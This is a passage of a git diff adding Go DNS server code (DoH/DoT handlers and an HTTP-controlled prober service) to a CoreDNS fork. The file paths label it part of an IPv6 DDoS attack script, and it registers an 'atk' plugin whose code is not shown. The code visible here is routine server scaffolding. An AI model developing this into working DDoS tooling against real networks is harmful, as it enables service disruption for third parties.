l, err := reuseport.Listen("tcp", s.Addr[len(transport.HTTPS+"://"):])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return l, nil
|
||||
}
|
||||
|
||||
// ListenPacket implements caddy.UDPServer interface.
|
||||
func (s *ServerHTTPS) ListenPacket() (net.PacketConn, error) { return nil, nil }
|
||||
|
||||
// OnStartupComplete lists the sites served by this server
|
||||
// and any relevant information, assuming Quiet is false.
|
||||
func (s *ServerHTTPS) OnStartupComplete() {
|
||||
if Quiet {
|
||||
return
|
||||
}
|
||||
|
||||
out := startUpZones(transport.HTTPS+"://", s.Addr, s.zones)
|
||||
if out != "" {
|
||||
fmt.Print(out)
|
||||
}
|
||||
}
|
||||
|
||||
// Stop stops the server. It blocks until the server is totally stopped.
|
||||
func (s *ServerHTTPS) Stop() error {
|
||||
s.m.Lock()
|
||||
defer s.m.Unlock()
|
||||
if s.httpsServer != nil {
|
||||
s.httpsServer.Shutdown(context.Background())
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ServeHTTP is the handler that gets the HTTP request and converts to the dns format, calls the plugin
|
||||
// chain, converts it back and write it to the client.
|
||||
func (s *ServerHTTPS) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.validRequest(r) {
|
||||
http.Error(w, "", http.StatusNotFound)
|
||||
s.countResponse(http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
msg, err := doh.RequestToMsg(r)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||
s.countResponse(http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
// Create a DoHWriter with the correct addresses in it.
|
||||
h, p, _ := net.SplitHostPort(r.RemoteAddr)
|
||||
port, _ := strconv.Atoi(p)
|
||||
dw := &DoHWriter{
|
||||
laddr: s.listenAddr,
|
||||
raddr: &net.TCPAddr{IP: net.ParseIP(h), Port: port},
|
||||
request: r,
|
||||
}
|
||||
|
||||
// We just call the normal chain handler - all error handling is done there.
|
||||
// We should expect a packet to be returned that we can send to the client.
|
||||
ctx := context.WithValue(context.Background(), Key{}, s.Server)
|
||||
ctx = context.WithValue(ctx, LoopKey{}, 0)
|
||||
ctx = context.WithValue(ctx, HTTPRequestKey{}, r)
|
||||
s.ServeDNS(ctx, dw, msg)
|
||||
|
||||
// See section 4.2.1 of RFC 8484.
|
||||
// We are using code 500 to indicate an unexpected situation when the chain
|
||||
// handler has not provided any response message.
|
||||
if dw.Msg == nil {
|
||||
http.Error(w, "No response", http.StatusInternalServerError)
|
||||
s.countResponse(http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
buf, _ := dw.Msg.Pack()
|
||||
|
||||
mt, _ := response.Typify(dw.Msg, time.Now().UTC())
|
||||
age := dnsutil.MinimalTTL(dw.Msg, mt)
|
||||
|
||||
w.Header().Set("Content-Type", doh.MimeType)
|
||||
w.Header().Set("Cache-Control", fmt.Sprintf("max-age=%f", age.Seconds()))
|
||||
w.Header().Set("Content-Length", strconv.Itoa(len(buf)))
|
||||
w.WriteHeader(http.StatusOK)
|
||||
s.countResponse(http.StatusOK)
|
||||
|
||||
w.Write(buf)
|
||||
}
|
||||
|
||||
func (s *ServerHTTPS) countResponse(status int) {
|
||||
vars.HTTPSResponsesCount.WithLabelValues(s.Addr, strconv.Itoa(status)).Inc()
|
||||
}
|
||||
|
||||
// Shutdown stops the server (non gracefully).
|
||||
func (s *ServerHTTPS) Shutdown() error {
|
||||
if s.httpsServer != nil {
|
||||
s.httpsServer.Shutdown(context.Background())
|
||||
}
|
||||
return nil
|
||||
}
|
||||
102
att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/server_tls.go
Normal file
102
att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/server_tls.go
Normal file
@@ -0,0 +1,102 @@
|
||||
package dnsserver
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"net"
|
||||
"ohmydns2/plugin/pkg/reuseport"
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
"time"
|
||||
|
||||
"github.com/coredns/caddy"
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// ServerTLS represents an instance of a TLS-over-DNS-server.
|
||||
type ServerTLS struct {
|
||||
*Server
|
||||
tlsConfig *tls.Config
|
||||
}
|
||||
|
||||
// NewServerTLS returns a new CoreDNS TLS server and compiles all plugin in to it.
|
||||
func NewServerTLS(addr string, group []*Config) (*ServerTLS, error) {
|
||||
s, err := NewServer(addr, group)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// The *tls* plugin must make sure that multiple conflicting
|
||||
// TLS configuration returns an error: it can only be specified once.
|
||||
var tlsConfig *tls.Config
|
||||
for _, z := range s.zones {
|
||||
for _, conf := range z {
|
||||
// Should we error if some configs *don't* have TLS?
|
||||
tlsConfig = conf.TLSConfig
|
||||
}
|
||||
}
|
||||
|
||||
return &ServerTLS{Server: s, tlsConfig: tlsConfig}, nil
|
||||
}
|
||||
|
||||
// Compile-time check to ensure Server implements the caddy.GracefulServer interface
|
||||
var _ caddy.GracefulServer = &Server{}
|
||||
|
||||
// Serve implements caddy.TCPServer interface.
|
||||
func (s *ServerTLS) Serve(l net.Listener) error {
|
||||
s.m.Lock()
|
||||
|
||||
if s.tlsConfig != nil {
|
||||
l = tls.NewListener(l, s.tlsConfig)
|
||||
}
|
||||
|
||||
// Only fill out the TCP server for this one.
|
||||
s.server[tcp] = &dns.Server{Listener: l,
|
||||
Net: "tcp-tls",
|
||||
MaxTCPQueries: tlsMaxQueries,
|
||||
ReadTimeout: s.readTimeout,
|
||||
WriteTimeout: s.writeTimeout,
|
||||
IdleTimeout: func() time.Duration {
|
||||
return s.idleTimeout
|
||||
},
|
||||
Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) {
|
||||
ctx := context.WithValue(context.Background(), Key{}, s.Server)
|
||||
ctx = context.WithValue(ctx, LoopKey{}, 0)
|
||||
s.ServeDNS(ctx, w, r)
|
||||
})}
|
||||
|
||||
s.m.Unlock()
|
||||
|
||||
return s.server[tcp].ActivateAndServe()
|
||||
}
|
||||
|
||||
// ServePacket implements caddy.UDPServer interface.
|
||||
func (s *ServerTLS) ServePacket(p net.PacketConn) error { return nil }
|
||||
|
||||
// Listen implements caddy.TCPServer interface.
|
||||
func (s *ServerTLS) Listen() (net.Listener, error) {
|
||||
l, err := reuseport.Listen("tcp", s.Addr[len(transport.TLS+"://"):])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return l, nil
|
||||
}
|
||||
|
||||
// ListenPacket implements caddy.UDPServer interface.
|
||||
func (s *ServerTLS) ListenPacket() (net.PacketConn, error) { return nil, nil }
|
||||
|
||||
// OnStartupComplete lists the sites served by this server
|
||||
// and any relevant information, assuming Quiet is false.
|
||||
func (s *ServerTLS) OnStartupComplete() {
|
||||
if Quiet {
|
||||
return
|
||||
}
|
||||
|
||||
out := startUpZones(transport.TLS+"://", s.Addr, s.zones)
|
||||
if out != "" {
|
||||
fmt.Print(out)
|
||||
}
|
||||
}
|
||||
|
||||
const (
|
||||
tlsMaxQueries = -1
|
||||
)
|
||||
19
att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/view.go
Normal file
19
att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/view.go
Normal file
@@ -0,0 +1,19 @@
|
||||
package dnsserver
|
||||
|
||||
import (
|
||||
"context"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
)
|
||||
|
||||
// Viewer - If Viewer is implemented by a plugin in a server block, its Filter()
|
||||
// is added to the server block's filter functions when starting the server. When a running server
|
||||
// serves a DNS request, it will route the request to the first Config (server block) that passes
|
||||
// all its filter functions.
|
||||
type Viewer interface {
|
||||
// Filter returns true if the server should use the server block in which the implementing plugin resides, and the
|
||||
// name of the view for metrics logging.
|
||||
Filter(ctx context.Context, req *request.Request) bool
|
||||
|
||||
// ViewName returns the name of the view
|
||||
ViewName() string
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
// generated by plugin_gen.go; DO NOT EDIT
|
||||
|
||||
package dnsserver
|
||||
|
||||
// Directives are registered in the order they should be
|
||||
// executed.
|
||||
//
|
||||
// Ordering is VERY important. Every plugin will
|
||||
// feel the effects of all other plugin below
|
||||
// (after) them during a request, but they must not
|
||||
// care what plugin above them are doing.
|
||||
var Directives = []string{
|
||||
"log",
|
||||
"dnstap",
|
||||
"debug",
|
||||
"prometheus",
|
||||
"forward",
|
||||
"metadata",
|
||||
"whoami",
|
||||
"atk",
|
||||
}
|
||||
17
att script/4(v6 DDoS)/code/辅助权威服务器/core/plug/zplugin.go
Normal file
17
att script/4(v6 DDoS)/code/辅助权威服务器/core/plug/zplugin.go
Normal file
@@ -0,0 +1,17 @@
|
||||
// generated by plugin_gen.go; DO NOT EDIT
|
||||
|
||||
package plugin
|
||||
|
||||
import (
|
||||
// Include all plugins.
|
||||
_ "ohmydns2/plugin/atk"
|
||||
_ "ohmydns2/plugin/debug"
|
||||
_ "ohmydns2/plugin/dnstap"
|
||||
_ "ohmydns2/plugin/forward"
|
||||
_ "ohmydns2/plugin/log"
|
||||
_ "ohmydns2/plugin/metadata"
|
||||
_ "ohmydns2/plugin/prober/probe53"
|
||||
_ "ohmydns2/plugin/prober/qname"
|
||||
_ "ohmydns2/plugin/prometheus"
|
||||
_ "ohmydns2/plugin/whoami"
|
||||
)
|
||||
85
att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/address.go
Normal file
85
att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/address.go
Normal file
@@ -0,0 +1,85 @@
|
||||
package prober
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type addr struct {
|
||||
Port string
|
||||
Transport string // HTTP
|
||||
Address string // used for bound addr - validation of overlapping
|
||||
}
|
||||
|
||||
// String returns the string representation of addr.
|
||||
func (a addr) String() string {
|
||||
s := "探测服务: " + a.Transport + "://" + ":" + a.Port
|
||||
if a.Address != "" {
|
||||
s += " on " + a.Address
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// SplitProtocolHostPort splits a full formed address like "dns://[::1]:53" into parts.
|
||||
func SplitProtocolHostPort(address string) (protocol string, ip string, port string, err error) {
|
||||
parts := strings.Split(address, "://")
|
||||
switch len(parts) {
|
||||
case 1:
|
||||
ip, port, err := net.SplitHostPort(parts[0])
|
||||
return "", ip, port, err
|
||||
case 2:
|
||||
ip, port, err := net.SplitHostPort(parts[1])
|
||||
return parts[0], ip, port, err
|
||||
default:
|
||||
return "", "", "", fmt.Errorf("provided value is not in an address format : %s", address)
|
||||
}
|
||||
}
|
||||
|
||||
type zoneOverlap struct {
|
||||
registeredAddr map[addr]addr // each zoneAddr is registered once by its key
|
||||
unboundOverlap map[addr]addr // the "no bind" equiv Addr is registered by its original key
|
||||
}
|
||||
|
||||
func newOverlapZone() *zoneOverlap {
|
||||
return &zoneOverlap{registeredAddr: make(map[addr]addr), unboundOverlap: make(map[addr]addr)}
|
||||
}
|
||||
|
||||
// registerAndCheck adds a new zoneAddr for validation, it returns information about existing or overlapping with already registered
|
||||
// we consider that an unbound address is overlapping all bound addresses for same zone, same port
|
||||
func (zo *zoneOverlap) registerAndCheck(a addr) (existingZone *addr, overlappingZone *addr) {
|
||||
existingZone, overlappingZone = zo.check(a)
|
||||
if existingZone != nil || overlappingZone != nil {
|
||||
return existingZone, overlappingZone
|
||||
}
|
||||
// there is no overlap, keep the current zoneAddr for future checks
|
||||
zo.registeredAddr[a] = a
|
||||
zo.unboundOverlap[a.unbound()] = a
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// check validates a zoneAddr for overlap without registering it
|
||||
func (zo *zoneOverlap) check(a addr) (existingAddr *addr, overlappingAddr *addr) {
|
||||
if exist, ok := zo.registeredAddr[a]; ok {
|
||||
// exact same zone already registered
|
||||
return &exist, nil
|
||||
}
|
||||
uz := a.unbound()
|
||||
if already, ok := zo.unboundOverlap[uz]; ok {
|
||||
if a.Address == "" {
|
||||
// current is not bound to an address, but there is already another zone with a bind address registered
|
||||
return nil, &already
|
||||
}
|
||||
if _, ok := zo.registeredAddr[uz]; ok {
|
||||
// current zone is bound to an address, but there is already an overlapping zone+port with no bind address
|
||||
return nil, &uz
|
||||
}
|
||||
}
|
||||
// there is no overlap
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// unbound returns an unbound version of the zoneAddr
|
||||
func (a addr) unbound() addr {
|
||||
return addr{Address: "", Port: a.Port, Transport: a.Transport}
|
||||
}
|
||||
54
att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/onstartup.go
Normal file
54
att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/onstartup.go
Normal file
@@ -0,0 +1,54 @@
|
||||
package prober
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"ohmydns2/plugin/pkg/dnsutil"
|
||||
"regexp"
|
||||
)
|
||||
|
||||
// checkZoneSyntax() checks whether the given string match 1035 Preferred Syntax or not.
|
||||
// The root zone, and all reverse zones always return true even though they technically don't meet 1035 Preferred Syntax
|
||||
func checkZoneSyntax(zone string) bool {
|
||||
if zone == "." || dnsutil.IsReverse(zone) != 0 {
|
||||
return true
|
||||
}
|
||||
regex1035PreferredSyntax, _ := regexp.MatchString(`^(([A-Za-z]([A-Za-z0-9-]*[A-Za-z0-9])?)\.)+$`, zone)
|
||||
return regex1035PreferredSyntax
|
||||
}
|
||||
|
||||
// startUpZones creates the text that we show when starting up:
|
||||
// grpc://example.com.:1055
|
||||
// example.com.:1053 on 127.0.0.1
|
||||
func startUpZones(protocol, addr string) string {
|
||||
s := ""
|
||||
|
||||
//keys := make([]string, len(zones))
|
||||
//i := 0
|
||||
//
|
||||
//for k := range zones {
|
||||
// keys[i] = k
|
||||
// i++
|
||||
//}
|
||||
//sort.Strings(keys)
|
||||
//
|
||||
//for _, zone := range keys {
|
||||
//if strings.HasPrefix(protocol, "prober") {
|
||||
// s += fmt.Sprintln("探测服务启动,访问路径为" + "http://" + prober.proberurl + ":" + transport.PHTTPPort + prober.proberPath)
|
||||
// continue
|
||||
//}
|
||||
// split addr into protocol, IP and Port
|
||||
_, ip, port, err := SplitProtocolHostPort(addr)
|
||||
|
||||
if err != nil {
|
||||
// this should not happen, but we need to take care of it anyway
|
||||
s += fmt.Sprintln(protocol + ":" + addr)
|
||||
}
|
||||
if ip == "" {
|
||||
s += fmt.Sprintln(protocol + ":" + port)
|
||||
}
|
||||
// if the server is listening on a specific address let's make it visible in the log,
|
||||
// so one can differentiate between all active listeners
|
||||
s += fmt.Sprintln(protocol + ":" + port + " on " + ip)
|
||||
//}
|
||||
return s
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
// generated by plugin_gen.go; DO NOT EDIT
|
||||
|
||||
package prober
|
||||
|
||||
// Directives are registered in the order they should be
|
||||
// executed.
|
||||
//
|
||||
// Ordering is VERY important. Every plugin will
|
||||
// feel the effects of all other plugin below
|
||||
// (after) them during a request, but they must not
|
||||
// care what plugin above them are doing.
|
||||
var Directives = []string{
|
||||
"qname",
|
||||
"probe53",
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
package prober
|
||||
|
||||
const (
|
||||
globalRange = "globe"
|
||||
goroutinePoolSize = 3000
|
||||
)
|
||||
|
||||
const (
|
||||
rangeParam = "prange"
|
||||
)
|
||||
285
att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/prober_http.go
Normal file
285
att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/prober_http.go
Normal file
@@ -0,0 +1,285 @@
|
||||
package prober
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
stdlog "log"
|
||||
"net"
|
||||
"net/http"
|
||||
"ohmydns2/core/dnsserver"
|
||||
ohttp "ohmydns2/plugin/pkg/http"
|
||||
olog "ohmydns2/plugin/pkg/log"
|
||||
"ohmydns2/plugin/pkg/prober"
|
||||
"ohmydns2/plugin/pkg/reuseport"
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
"ohmydns2/plugin/prometheus/vars"
|
||||
"strconv"
|
||||
"sync"
|
||||
|
||||
"github.com/coredns/caddy"
|
||||
)
|
||||
|
||||
type ProberWriter struct {
|
||||
laddr net.Addr
|
||||
raddr net.Addr
|
||||
request http.Request
|
||||
}
|
||||
|
||||
type ProberHTTP struct {
|
||||
*ProbeServer
|
||||
httpServer *http.Server
|
||||
listenAddr net.Addr
|
||||
validRequest func(*http.Request) bool
|
||||
m sync.Mutex
|
||||
}
|
||||
|
||||
type proberstate struct {
|
||||
Code int `json:"code"`
|
||||
Probernum int `json:"probernum"`
|
||||
M map[int]prober.Prober `json:"proberlist"`
|
||||
Msg string `json:"msg"`
|
||||
}
|
||||
|
||||
type codeAndMsg struct {
|
||||
Code int `json:"code"`
|
||||
Msg string `json:"msg"`
|
||||
}
|
||||
|
||||
// loggerAdapter is a simple adapter around CoreDNS logger made to implement io.Writer in order to log errors from HTTP server
|
||||
type loggerAdapter struct {
|
||||
}
|
||||
|
||||
func (l *loggerAdapter) Write(p []byte) (n int, err error) {
|
||||
olog.Debug(string(p))
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
// HTTPRequestKey is the context key for the current processed HTTP request (if current processed request was done over DOH)
|
||||
type HTTPRequestKey struct{}
|
||||
|
||||
// NewProberHTTP returns a new ohmydns prober(可用HTTP调用参数) and compiles all plugins in to it.
|
||||
func NewProberHTTP(addr string, conf *prober.PBConfig) (*ProberHTTP, error) {
|
||||
s, err := NewServer(addr, conf)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 定义一个检查器来检查访问路径是否正确.
|
||||
var validator func(*http.Request) bool
|
||||
validator = conf.HTTPRequestValidateFunc
|
||||
|
||||
if validator == nil {
|
||||
validator = func(r *http.Request) bool { return r.URL.Path == proberPath }
|
||||
}
|
||||
|
||||
srv := &http.Server{
|
||||
ReadTimeout: s.readTimeout,
|
||||
WriteTimeout: s.writeTimeout,
|
||||
IdleTimeout: s.idleTimeout,
|
||||
ErrorLog: stdlog.New(&loggerAdapter{}, "", 0),
|
||||
}
|
||||
|
||||
sh := &ProberHTTP{
|
||||
ProbeServer: s, httpServer: srv, validRequest: validator,
|
||||
}
|
||||
sh.httpServer.Handler = sh
|
||||
|
||||
return sh, nil
|
||||
}
|
||||
|
||||
// Compile-time check to ensure Server implements the caddy.GracefulServer interface
|
||||
var _ caddy.GracefulServer = &dnsserver.Server{}
|
||||
|
||||
// Serve implements caddy.TCPServer interface.
|
||||
func (p *ProberHTTP) Serve(l net.Listener) error {
|
||||
p.m.Lock()
|
||||
p.listenAddr = l.Addr()
|
||||
p.m.Unlock()
|
||||
|
||||
return p.httpServer.Serve(l)
|
||||
}
|
||||
|
||||
// ServePacket implements caddy.UDPServer interface.
|
||||
func (p *ProberHTTP) ServePacket(net.PacketConn) error { return nil }
|
||||
|
||||
// Listen implements caddy.TCPServer interface.
|
||||
func (p *ProberHTTP) Listen() (net.Listener, error) {
|
||||
l, err := reuseport.Listen("tcp", p.Addr[len(transport.PROBER+"://"):])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return l, nil
|
||||
}
|
||||
|
||||
// ListenPacket implements caddy.UDPServer interface.
|
||||
func (p *ProberHTTP) ListenPacket() (net.PacketConn, error) { return nil, nil }
|
||||
|
||||
// OnStartupComplete lists the sites served by this server
|
||||
// and any relevant information, assuming Quiet is false.
|
||||
func (p *ProberHTTP) OnStartupComplete() {
|
||||
if Quiet {
|
||||
return
|
||||
}
|
||||
|
||||
out := startUpZones(transport.PROBER+"://", p.Addr)
|
||||
if out != "" {
|
||||
fmt.Print(out)
|
||||
}
|
||||
}
|
||||
|
||||
// Stop stops the server. It blocks until the server is totally stopped.
|
||||
func (p *ProberHTTP) Stop() error {
|
||||
p.m.Lock()
|
||||
defer p.m.Unlock()
|
||||
if p.httpServer != nil {
|
||||
err := p.httpServer.Shutdown(context.Background())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ServeHTTP is the handler that gets the HTTP request and converts to the dns format, calls the plugin
|
||||
// chain, converts it back and write it to the client.
|
||||
func (p *ProberHTTP) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
if !p.validRequest(r) {
|
||||
http.Error(w, "", http.StatusNotFound)
|
||||
p.countResponse(http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
// 设置响应头部
|
||||
w.Header().Set("Content-Type", proberContenttype)
|
||||
|
||||
// 解析请求
|
||||
param, _ := ohttp.ParseRequest(r)
|
||||
// 参数定义
|
||||
// act: res代表获取当前所有Prober状态,new代表新建Prober
|
||||
// ptype: 探针类型,v64代表IPv4-IPv6关联发现的探针,默认v64
|
||||
// prange: 探测范围,默认全局,
|
||||
|
||||
// 检查参数
|
||||
if res, rc := prober.VaildArgs(param); rc != 0 {
|
||||
//发生错误
|
||||
w.WriteHeader(http.StatusBadRequest)
|
||||
p.countResponse(http.StatusBadRequest)
|
||||
rec := &proberstate{Code: http.StatusBadRequest, Msg: res}
|
||||
msg, _ := json.Marshal(rec)
|
||||
_, err := w.Write(msg)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
// 参数没有问题,开始处理
|
||||
if v, ok := param["act"]; ok {
|
||||
switch v[0] {
|
||||
|
||||
case "new":
|
||||
ctx := context.WithValue(context.Background(), Key{}, p.ProbeServer)
|
||||
ctx = context.WithValue(ctx, LoopKey{}, 0)
|
||||
ctx = context.WithValue(ctx, HTTPRequestKey{}, r)
|
||||
serverr, rs := p.ServeProbe(ctx, w, r)
|
||||
// 服务发生错误
|
||||
if serverr != nil {
|
||||
//发生错误
|
||||
w.WriteHeader(http.StatusInternalServerError)
|
||||
p.countResponse(http.StatusInternalServerError)
|
||||
res := &codeAndMsg{Code: http.StatusInternalServerError, Msg: rs}
|
||||
msg, _ := json.Marshal(res)
|
||||
_, err := w.Write(msg)
|
||||
if err != nil {
|
||||
olog.Errorf("prober_http/ServeHTTP: %v", err.Error())
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
//一切正常
|
||||
w.WriteHeader(http.StatusOK)
|
||||
p.countResponse(http.StatusOK)
|
||||
rec := &codeAndMsg{Code: http.StatusOK, Msg: rs}
|
||||
msg, _ := json.Marshal(rec)
|
||||
_, err := w.Write(msg)
|
||||
if err != nil {
|
||||
olog.Errorf("prober_http/ServeHTTP: %v", err.Error())
|
||||
return
|
||||
}
|
||||
return
|
||||
|
||||
case "stop":
|
||||
if n, pok := param["pid"]; pok {
|
||||
id, _ := strconv.Atoi(n[0])
|
||||
err := p.proberlist.DeleteProberById(id)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// 成功删除
|
||||
w.WriteHeader(http.StatusOK)
|
||||
p.countResponse(http.StatusOK)
|
||||
rec := &codeAndMsg{Code: http.StatusOK, Msg: "已停止探测器" + strconv.Itoa(id)}
|
||||
msg, _ := json.Marshal(rec)
|
||||
_, err = w.Write(msg)
|
||||
if err != nil {
|
||||
olog.Errorf("prober_http/ServeHTTP: %v", err.Error())
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// 无参数指定则停止所有探测任务
|
||||
for pid := range p.proberlist.Pl {
|
||||
err := p.proberlist.DeleteProberById(pid)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
w.WriteHeader(http.StatusOK)
|
||||
p.countResponse(http.StatusOK)
|
||||
rec := &codeAndMsg{Code: http.StatusOK, Msg: "已停止所有探测器"}
|
||||
msg, _ := json.Marshal(rec)
|
||||
_, err := w.Write(msg)
|
||||
if err != nil {
|
||||
olog.Errorf("prober_http/ServeHTTP: %v", err.Error())
|
||||
return
|
||||
}
|
||||
return
|
||||
default:
|
||||
//跳转到列举探测器状态
|
||||
break
|
||||
}
|
||||
}
|
||||
// 无act参数默认列举所有探测器当前状态
|
||||
allProber, m, err := p.proberlist.ListAllProber()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
rt := proberstate{
|
||||
Code: http.StatusOK,
|
||||
Probernum: allProber,
|
||||
M: m,
|
||||
}
|
||||
w.WriteHeader(http.StatusOK)
|
||||
p.countResponse(http.StatusOK)
|
||||
msg, _ := json.Marshal(rt)
|
||||
w.Write(msg)
|
||||
|
||||
}
|
||||
|
||||
func (p *ProberHTTP) countResponse(status int) {
|
||||
vars.HTTPSResponsesCount.WithLabelValues(p.Addr, strconv.Itoa(status)).Inc()
|
||||
}
|
||||
|
||||
// Shutdown stops the server (non gracefully).
|
||||
func (p *ProberHTTP) Shutdown() error {
|
||||
if p.httpServer != nil {
|
||||
p.httpServer.Shutdown(context.Background())
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
const (
|
||||
proberContenttype = "application/json"
|
||||
proberPath = "/prober"
|
||||
proberurl = "localhost"
|
||||
)
|
||||
405
att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/prober_serve.go
Normal file
405
att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/prober_serve.go
Normal file
@@ -0,0 +1,405 @@
|
||||
package prober
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/coredns/caddy"
|
||||
ot "github.com/opentracing/opentracing-go"
|
||||
"github.com/panjf2000/ants/v2"
|
||||
"net"
|
||||
"net/http"
|
||||
"ohmydns2/plugin"
|
||||
ohttp "ohmydns2/plugin/pkg/http"
|
||||
olog "ohmydns2/plugin/pkg/log"
|
||||
"ohmydns2/plugin/pkg/prober"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
"ohmydns2/plugin/pkg/reuseport"
|
||||
"ohmydns2/plugin/pkg/trace"
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
"ohmydns2/plugin/prometheus/vars"
|
||||
"runtime"
|
||||
"runtime/debug"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ProbeServer represents an instance of a server, which serves
|
||||
// DNS requests at a particular address (host and port). A
|
||||
// server is capable of serving numerous zones on
|
||||
// the same address and the listener may be stopped for
|
||||
// graceful termination (POSIX only).
|
||||
type ProbeServer struct {
|
||||
Addr string // Address we listen on
|
||||
|
||||
server *http.Server // http服务
|
||||
m sync.Mutex // protects the servers
|
||||
|
||||
conf *prober.PBConfig // zones keyed by their port
|
||||
httpWg sync.WaitGroup // used to wait on outstanding connections
|
||||
graceTimeout time.Duration // the maximum duration of a graceful shutdown
|
||||
trace trace.Trace // the trace plugin for the server
|
||||
debug bool // disable recover()
|
||||
stacktrace bool // enable stacktrace in recover error log
|
||||
classChaos bool // allow non-INET class queries
|
||||
idleTimeout time.Duration // Idle timeout for TCP
|
||||
readTimeout time.Duration // Read timeout for TCP
|
||||
writeTimeout time.Duration // Write timeout for TCP
|
||||
|
||||
proberlist *prober.ProberAndGoroutList //探测器列表
|
||||
|
||||
tsigSecret map[string]string
|
||||
}
|
||||
|
||||
// response 是Prober控制响应的抽象
|
||||
type response struct {
|
||||
Code int `json:"code"`
|
||||
Msg string `json:"msg"`
|
||||
}
|
||||
|
||||
// NewServer returns a new OhmyDNS2 probe server and compiles all plugins in to it.
|
||||
func NewServer(addr string, conf *prober.PBConfig) (*ProbeServer, error) {
|
||||
s := &ProbeServer{
|
||||
Addr: addr,
|
||||
graceTimeout: 5 * time.Second,
|
||||
idleTimeout: 10 * time.Second,
|
||||
readTimeout: 3 * time.Second,
|
||||
writeTimeout: 5 * time.Second,
|
||||
tsigSecret: make(map[string]string),
|
||||
proberlist: &prober.ProberAndGoroutList{
|
||||
Pl: make(map[int]*prober.Prober),
|
||||
GRPool: new(ants.Pool),
|
||||
},
|
||||
}
|
||||
s.proberlist.GRPool, _ = ants.NewPool(goroutinePoolSize, ants.WithPreAlloc(true))
|
||||
olog.Infof("服务启动,监听地址: %v", addr)
|
||||
|
||||
// We have to bound our wg with one increment
|
||||
// to prevent a "race condition" that is hard-coded
|
||||
// into sync.WaitGroup.Wait() - basically, an add
|
||||
// with a positive delta must be guaranteed to
|
||||
// occur before Wait() is called on the wg.
|
||||
// In a way, this kind of acts as a safety barrier.
|
||||
s.httpWg.Add(1)
|
||||
|
||||
if conf.Debug {
|
||||
s.debug = true
|
||||
olog.D.Set()
|
||||
}
|
||||
s.stacktrace = conf.Stacktrace
|
||||
|
||||
// append the config to the zone's configs
|
||||
s.conf = conf
|
||||
|
||||
// set timeouts
|
||||
if conf.ReadTimeout != 0 {
|
||||
s.readTimeout = conf.ReadTimeout
|
||||
}
|
||||
if conf.WriteTimeout != 0 {
|
||||
s.writeTimeout = conf.WriteTimeout
|
||||
}
|
||||
if conf.IdleTimeout != 0 {
|
||||
s.idleTimeout = conf.IdleTimeout
|
||||
}
|
||||
|
||||
//// copy tsig secrets
|
||||
//for key, secret := range conf.TsigSecret {
|
||||
// s.tsigSecret[key] = secret
|
||||
//}
|
||||
|
||||
// compile custom plugin for everything
|
||||
var stack plugin.Prober
|
||||
for i := len(conf.Plugin) - 1; i >= 0; i-- {
|
||||
stack = conf.Plugin[i](stack)
|
||||
|
||||
// register the *handler* also
|
||||
conf.RegisterProber(stack)
|
||||
|
||||
// If the current plugin is a MetadataCollector, bookmark it for later use. This loop traverses the plugin
|
||||
// list backwards, so the first MetadataCollector plugin wins.
|
||||
if mdc, ok := stack.(prober.ProberMetadataCollector); ok {
|
||||
conf.MetaCollector = mdc
|
||||
}
|
||||
|
||||
